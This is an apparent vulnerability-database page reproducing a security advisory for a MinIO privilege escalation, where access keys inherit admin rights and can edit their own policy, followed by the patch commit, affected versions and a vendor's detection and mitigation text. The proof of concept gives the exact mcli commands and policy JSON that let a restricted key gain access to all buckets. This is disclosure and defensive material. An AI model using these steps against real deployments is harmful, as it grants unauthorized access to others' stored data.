GHSA-xx8w-mq23-29g4
HIGHMinio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/minio/minioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When someone creates an access key, it inherits the permissions of the parent key. Not only for
s3:* actions, but also admin:* actions. Which means unless somewhere above in the
access-key hierarchy, the admin rights are denied, access keys will be able to simply
override their own s3 permissions to something more permissive.
Credit to @xSke for sort of accidentally discovering this. I only understood the implications.
Details / PoC
We spun up the latest version of minio in a docker container and signed in to the admin UI
using the minio root user. We created two buckets, public and private and created an
access key called mycat and attached the following policy to only allow access to the
bucket called public.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*"
],
"Resource": [
"arn:aws:s3:::public",
"arn:aws:s3:::public/*"
]
}
]
}
We then set an alias in mc: mcli alias set vuln http://localhost:9001 mycat mycatiscute
And checked whether policy works:
A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT] 0B public/
Looks good, we believe this is how 99% of users will work with access policies.
If I now create a file full-access-policy.json:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*"
],
"Resource": [
"arn:aws:s3:::*"
]
}
]
}
And then:
A ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat
Edited service account `mycat` successfully.
mycat has escalated its privileges to get access to the entire deployment:
A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT] 0B private/
[0001-01-01 00:53:28 LMT] 0B public/
Impact
A trivial privilege escalation unless the operator fully understands that they need to
explicitly deny admin actions on access keys.
Patched
commit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master)
Author: Aditya Manthramurthy <[email protected]>
Date: Wed Jan 31 10:56:45 2024 -0800
fix: permission checks for editing access keys (#18928)
With this change, only a user with `UpdateServiceAccountAdminAction`
permission is able to edit access keys.
We would like to let a user edit their own access keys, however the
feature needs to be re-designed for better security and integration with
external systems like AD/LDAP and OpenID.
This change prevents privilege escalation via service accounts.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/minio/minio | all versions | 0.0.0-20240131185645-0ae4915a9391 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
MinIO < 2024-01-31T20-20-33Z - Privilege Escalation
by Jenson Zhao · Apr 12, 2024
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/minio/minio. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/minio/minio to 0.0.0-20240131185645-0ae4915a9391 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xx8w-mq23-29g4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xx8w-mq23-29g4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-xx8w-mq23-29g4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xx8w-mq23-29g4 in your dependencies?
O3 detects GHSA-xx8w-mq23-29g4 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.